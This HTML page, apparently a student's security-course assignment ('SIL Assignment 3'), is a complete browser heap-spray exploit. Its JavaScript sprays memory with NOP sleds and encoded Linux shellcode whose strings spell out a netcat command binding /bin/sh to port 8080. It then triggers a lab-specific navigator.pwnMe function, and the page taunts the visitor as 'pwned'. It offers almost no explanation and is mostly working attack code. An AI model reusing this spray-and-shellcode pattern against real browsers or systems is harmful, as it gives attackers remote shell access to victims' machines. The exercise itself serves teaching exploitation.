Untitled

<html>
<head>
<title>SIL Assignment 3</title>
<script>
        //shellcode = unescape("%u2aeb%u315e%u88c0%u0746%u4688%u880f%u1946%u7689%u8d1a%u085e%u5e89%u8d1e%u105e%u5e89%u8922%u2646%u0bb0%uf389%u4e8d%u8d1a%u2656%u80cd%ud1e8%uffff%u2fff%u6962%u2f6e%u636e%u2d23%u706c%u3038%u3038%u2d23%u2f65%u6962%u2f6e%u6873%uee23");
        shellcode = unescape("%u6090%u8955%u31e5%u31c0%ub0db%ucd02%u3980%u75d8%ueb5c%u5e2a%uc031%u4688%u8807%u0f46%u4688%u8919%u1a76%u5e8d%u8908%u1e5e%u5e8d%u8910%u225e%u4689%ub026%u890b%u8df3%u1a4e%u568d%ucd26%ue880%uffd1%uffff%u622f%u6e69%u6e2f%u2363%u6c2d%u3870%u3830%u2330%u652d%u622f%u6e69%u732f%u2368%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%uc990%uc361");
        nop = unescape("%u9090%u9090");
        nopsled = '';
        chunksize = 0x10000;
        numChunks = 3500;

        while (nopsled.length < chunksize - shellcode.length)
                nopsled += nop;

        arr = new Array();
        for (var i = 0; i < numChunks; i++)
                arr[i] = nopsled + shellcode;

        var sales =
                <sales vendor="John">
                        <item type="peas" price="4" quantity="6"/>
                        <item type="carrot" price="3" quantity="10"/>
                        <item type="chips" price="5" quantity="3"/>
                </sales>;

        alert("spray done");
        navigator.pwnMe("0x9a0002000");
</script>
</head>

<body>
Hi! Hopefully you had fun while we pwned you!
</body>

</html>